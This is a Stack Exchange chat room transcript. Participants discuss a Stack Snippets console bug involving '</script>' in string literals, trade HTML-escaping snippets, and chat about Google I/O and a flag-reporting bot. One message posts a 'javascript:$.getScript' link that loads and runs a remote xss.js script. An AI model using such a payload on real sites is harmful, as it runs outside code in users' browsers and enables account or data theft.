« first day (2114 days earlier)      last day (2901 days later) » 
00:00 - 20:0020:00 - 00:00

8:00 PM
@JonEricson lol, makes sense! ;-)
 
here we are
0
Q: Stack Snippets Upgrade: Virtual Console

HaneyIt's been a long time since we worked on Stack Snippets. I'm sorry. It's mostly because I created it, then I got promoted to management, and now I don't code much anymore and nobody else has time to work on it. So you can blame me. But before you do blame me, read on for good news! Thanks in la...

 
@canon is he ever in chat?
 
nope
lol
that was my 10% coding for this month :D
but I am happy to entertain more features as time permits!
alternative, convince canon to implement it and I'll update the lib; that's easy
 
alternative, do it myself :D
 
8:02 PM
also possible, it's MIT licensed!
maybe we should create a GitHub repo for Stack Snippets tools
 
@ShadowWizard the only "chat" I've ever done with him has been in comments
@Quill oh, god...
 
@Haney maybe you guys should start cleaning up the PRs on your repos before you go making new ones ;)
 
@Haney seconded
 
I think hichris said he's had one out since september
also @canon your github profile isn't on your stack exchange profile :(
 
@Quill that's because I've got like two things on my github profile and nobody cared about either one until last week :P
 
8:06 PM
gotta start somewhere :)
 
I'll update it, though
updated... but now my property accessor joke sucks
... worse
@ShadowWizard putting words in Haney's mouth... :P
 
Huh, today's later is Google IO?
 
user315433
@bacon it's live now
 
Ya, just realized...
 
8:21 PM
@canon well, it was either that, or voting to close as off topic.. (This question does not appear to seek input and discussion from the community.) ;)
 
Meta is certainly a home for announcements...
 
yup, naturally...
 
@Quill where's the fun in that?
 
@ShadowWizard cheers on the tag, forgot it
 
8:32 PM
@ShadowWizard lol
 
@Haney my pleasure. :)
 
user315433
@Quill You don't see posts like "let's try to have larger review quota" or "close vote aging works differently now" there.
 
@sandwich or anything ;)
 
user315433
For a good reason: the blog format doesn't provide much opportunity for feedback.
 
@haney any chance we can get a class name or custom attribute to identify the wrapping script element for the snippet JS section?
this pertains to this answer
 
8:34 PM
@Haney your wish comes true.... 500 points and 500 points incoming tomorrow, lol
 
checking
 
knowing where the JS section starts in the markup would allow me to offset the error line numbers so they'd make a little more sense
 
wait, like on the baked iframe?
 
although, I'm not sold on the idea
 
wrapping the JS in some indicator you mean?
 
8:35 PM
well, you already wrap the JS in a script element
 
what if someone sticks JS in a <script> in the HTML pane?
 
presumably I'd emit the linenumber unaltered
I don't know
I don't particularly care for this idea
 
if it were me, I'd that sucker
3
 
I'm just turning it over in my head
lol
 
for sure
 
8:36 PM
@Haney it kinda is you, bossman
 
I mean not really... Not as the gatekeeper in any way other than time
at this point I'd say canon runs the console show
not like I'm gonna half-ass his script and call it progress; he's the expert here on it
the thing is: you can't please everybody
especially on meta
 
@Haney hah
 
this is progress, it shows errors, close enough
 
incoming bounty as soon as the cooldown's up
 
haha thanks
I don't do it for the bounties! ...but GIVE THEM TO ME NOW
3
 
8:38 PM
lol
 
@Haney Hack his SE account to remove the cooldown ;p
 
no hacks
also, I won't let some bacon tell me what to do
I ate you this morning
 
D:
 
and you were delicious
 
yeah, but... Who told you to do that?
 
8:46 PM
in The Nineteenth Byte on The Stack Exchange Network Chat, 3 mins ago, by Helka Homba
For Google lovers the Google I/O conference is currently be livestreamed: http://www.google.com/io Lot's of nitty-gritty details about Android N and stuff
 
my conscience
 
I always listen when bacon calls to me. It generally suggests a wise course of action.
 
it was like "eat bacon" and I was like "ok"
 
Hey! The room is very blue now.
 
@bjb568 I thought the mood was pretty uplifting right now.... don't be such a bummer
 
8:48 PM
@bjb568 wake up, kat
 
@Quill The upcoming sessions aren't too interesting...
 
!xkcd find sheeple
blah
 
> We’ll soon be launching Google Play Family Library, a new feature that allows up to six family members to share purchased apps on Google Play
Family sharing. Family sharing everywhere...
 
iOS app store has that already.
 
I love Apple. The constant need to spend $700 each year to upgrade to the latest and greatest phone that is basically last year's phone but 2mm smaller and has 20 minutes more battery is more than enough of a reminder to keep me happy with Android
I've had my Nexus 5 for like 2 years, and it's still rock solid and ultra fast and it cost $249
 
8:50 PM
meh, preferences are preferences... they all do the same thing, which little difference in anything
 
other than the cost, is my point :P
 
Preferences are preferences... but Android is usually cheaper. :P
 
My hate for Apple is irrational and subjective, not fact or law
do as you will
 
> need to spend $700
bruh, you need more communism
 
is that like... a monthly payment plan for my iPhone?
 
8:52 PM
The average iPhone isn't 1 year old.
 
Since I've snagged Mr. Boss for a minute... @Haney, the API is giving a ton of backoffs recently (in the past few days). Maybe some query plan has gone wrong?
 
hmm
 
It would only be on /questions or /answers, not sure which.
 
I'll ask around
 
lovely, thanks.
See, this room is always better when Haney is around.
 
8:54 PM
 
@hichris123 grrr
 
B-b-b-but backoff means cat image!
 
@rene Hey, you can't expect yourself to totally make up for a lack of Bart/Haney...
 
@hichris123 hates cats, that is it
 
@canon very
@hichris123 ahaha you're so mistaken
I set this up where turnaround on updated console code can be minutes so we're all good there
 
8:56 PM
hmm... the frame never loads up contents? Is there some pre-processing, @haney?
 
I think it's being modified maybe by the markdown parser, checking
 
user315433
@hichris123 We only call /questions, requesting answers along with them.
 
@sandwich We call /answers on manual reports... but yeah, you're right, this is just for regular API usage. So it has something to do with /questions, likely because of SO.
 
Google livestream is borkey.
 
@canon I see nothing in particular
the code is sent appropriately? Double checking
posted js param is console.log("<script>alert('omg');</script>");
looks right
I suspect the log method breaks on any >
and the <script> there is mostly a red herring
 
9:03 PM
I'll check this out tonight
 
cool
 
console.log("<script></script>") throws, but not <a></a>
 
hmm
 
How hard is it to escape HTML?
 
using regex?
 
9:05 PM
String.prototype.replaceAll = function(find, replace) {
	if (typeof find == 'string') return this.split(find).join(replace);
	let t = this, i, j;
	while (typeof(i = find.shift()) == 'string' && typeof(j = replace.shift()) == 'string') t = t.replaceAll(i || '', j || '');
	return t;
};
function html(input) {
	return input.toString().replaceAll(['&', '<', '>', '"', '\t', '\n', '\b'], ['&amp;', '&lt;', '&gt;', '&quot;', '&#9;', '&#10;', '']);
}
Boom. Now where are my bitcoins?
 
haha
 
<script></script\> works though, the last > must be escaped for <script> tag
 
that means it's evaluating it literally
so the error is because it evals the script tag contents as script
it's an escape thing somewhere in the console code. I'm sure @canon will figure it out and I can push the fix (or take a look myself in the AM)
but for now, I am out of here for the day
have a good one everybody
it's not an XSS, but it should perhaps escape strings which can contain HTML elements
@bjb568 funny thing is even that's incorrect. There's a lot of crazy evil damaging Unicode in the upper bounds: [\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u‌​206f\ufeff\ufff0-\uffff]
 
What do those do?
 
been a while, but iirc they can be used to unescape escaped things
 
9:09 PM
meh
 
characters that mean things like "delete the last character"
 
Does it do that in XHTML?
I can imagine all kinds of crap being in HTML parsers, but XHTML should be cleaner.
 
@canon pretty sure it's lines 65-73, just needs more escapes for HTML tags
haven't tested however and too lazy right now; it's beer time
peace all
 
:)
(happy bacon is happy)
 
I forgot how easy it is to get rep on MSE
I wonder whether there's a calling for finding security flaws on SE like one of those secfirms
 
user315433
9:23 PM
 
javascript:$.getScript("http://danlec.com/xss.js") ???
I guess the link does mean any valid link...
 
jQuery... A web framework for a less civilised age
Internet Explorer for Mac (also referred to as Internet Explorer for Macintosh, Internet Explorer Macintosh Edition, Internet Explorer:mac or IE:mac) is a discontinued proprietary web browser developed by Microsoft for the Macintosh platform. Initial versions were developed from the same code base as Internet Explorer for Windows. Later versions diverged, particularly with the release of version 5 which included the cutting edge, fault-tolerant and highly standards-compliant Tasman layout engine. As a result of the five-year agreement between Apple and Microsoft in 1997, it was the default browser...
 
It's somewhat relieving there's no IE6:mac...
 
9:50 PM
(removed)
 
I hoped sd could verify if a domain was blacklisted but I screwed up I think
anyway, I call it a day
 
"message": "Uncaught SecurityError: Failed to read the 'localStorage' property from 'Window': The document is sandboxed and lacks the 'allow-same-origin' flag.",
 
@bacon it was known as "IE5 Mac"
folks who talk shit about jQuery never had to deal with the horror that was trying to make simple DOM manipulation work in both IE6, mac-IE, and Firefox. That sorta madness could just ruin your whole week.
"I'll just make this class swapping routine a little bit easier to read... OH NOES, EVERYTHING IS 500x SLOWER NOW"
 
just because jQuery was useful in the past doesn't make it useful now :p
 
yeah, any day now
 
@Haney Nope... it looks like the </script> borks the DOM parser.
My messages are all set using .textContent, so escaping shouldn't ever be an issue.
 
10:28 PM
@canon Bah, textContent. I just used firstChild.nodeValue.
 
document.createTextNode()!
TextNode.data = "foo!"
 
!?
 
optional factorial?
 
[ SmokeDetector ] Email in body: Interesting INVENTIONS by Pizzone Valentino on patents.stackexchange.com …
 
document.createTextNode()!
Uncaught SyntaxError: Unexpected token !
 
10:35 PM
lol
document.createTextNode("<script></script>")
at any rate
@Quill Regarding the bug you reported... because that script is in the body of the markup, the </script> within the string actually gets parsed as a closing script tag by the DOM parser
 
var convert = function(str) {
    return !str ? "" // eslint-disable-line no-negated-condition
    : str.replace(/&amp;/g, "&")
         .replace(/&gt;/g, ">")
         .replace(/&lt;/g, "<")
         .replace(/&quot;/g, "\"")
         .replace(/&#39;/g, "'");
};
works every time
 
what I'm saying is
that has nothing to do with my console
go create your own standalone html page
and put console.log("<script>alert('omg');</script>"); in a script block
you'll get an error
 
 
not in console
 
oh, inside a script block... well, uh
 
10:39 PM
if it breaks the DOM parser there's not much I can do about it after the fact
you know?
 
var log = console.log
console.log = function(){
    log.apply(null, Array.from(arguments).map(function(arg){
        return typeof arg != "string"
            ? arg
            : arg.replace(/>/g, "&gt;").replace(/</g, "&lt;");
     }));
}
escape the text before it hits the DOM parser
 
you know what I mean by the DOM parser, right?
it's the browser
parsing the doc
not my script
 
if you're trying to print HTML characters that the browser does not like you need to escape them
 
No, you do
I'm not printing anything
the code's not even getting to that point
19
Q: Escaping HTML entities in JavaScript string literals within the <script> block

mojubaOn the one hand if I have <script> var s = 'Hello </script>'; console.log(s); </script> the browser will terminate the <script> block early and basically I get the page screwed up. On the other hand, the value of the string may come from a user (say, via a previously submitted form, and now ...

 
Your fiddle is inline html, you need to hand the browser HTML entities instead of actual script tags
it doesn't work in HTML, but HTML shouldn't have inline JS files, or inline less than greater than symbols that aren't converted into HTML entities
 
10:53 PM
Try to follow me here
at no point am I adding a script element or setting innerHTML on anything
 
Here, this will help your argument.
 
when the browser parses <script>console.log("</script>")</script> you will get an error. Without ever including my console script
it's the danger of using a string literal in the body of a <script> element
you simply have to escape that slash
and life goes on
so, the question is... do we ask Haney to do some snippet pre-processing before he sets the iframe content?
 
user315433
Interesting: the Twitter account @GoogleAppsDev follows 26 users, with Joel Spolsky among them (who apparently was second to be followed). Didn't know he had to do much with Google Apps.
 
11:08 PM
@canon we don't need to escape it, we can just use HTML entities... this is literally their purpose
I may have misunderstood at what level in the process this needs to be done
 
11:37 PM
PSA: My account is set up to report flags here that occur in SE chat. If a diamond or italic has a problem with this, please ping me and I'll kill it rather than kicking me.
 
I do have to question this bot... is there a purpose other than letting people get popcorn and watch?
 
Not really
It's already reporting over in a room on SE... It's just set to report here now
 
That... still seems like a bad idea. Especially to report here - unless you think that some folks here can get a better grip on the situation, but mods/10kers usually do that decently...
 
@Quill because the one problem everyone agrees on WRT flags in chat is that not enough people look at them quickly enough?
 
yes
 
11:45 PM
no pressing concerns since you're not quoting the flagged messages, but if it does become a problem I'll suspend the bot & ping you
 
sure
 
needless to say, any alterations to quote messages flagged as offensive would be a tremendously stupid direction ;-)
 
@Shog9 Wait, suspend the bot? I thought it was running on @Quill's account...
 
there's a bot running on my account over on SE, but it doesn't have the rep to post here...
 
user315433
11:48 PM
@hichris123 Quill's account reads flags, but another account posts them in that room.
 
I think kicking me would sever the socket connection
 
@sandwich But in here that account doesn't have enough rep to chat.
 
@sandwich it's posting through me in here
 
user315433
Why post here?
 
user315433
I mean, the room has had kind of a difficult relation even with the more useful of bots.
 
11:50 PM
@sandwich I have no reasons
 
That statement is certain to convince everyone.
 
Honesty is the best policy... besides banning bots
 
If you can't come up with any reason, you have to at least try for a funny one... :P
 
Uhh, because popcorn is best shared with friends
in a dramatic twist of events, I have no idea whether it will actually post here
the code is kinda broken
I suppose we'll see soon enough
 
... someone appears to be rep-farming... 70+ suggested edits in the queue on SO.
 
00:00 - 20:0020:00 - 00:00

« first day (2114 days earlier)      last day (2901 days later) »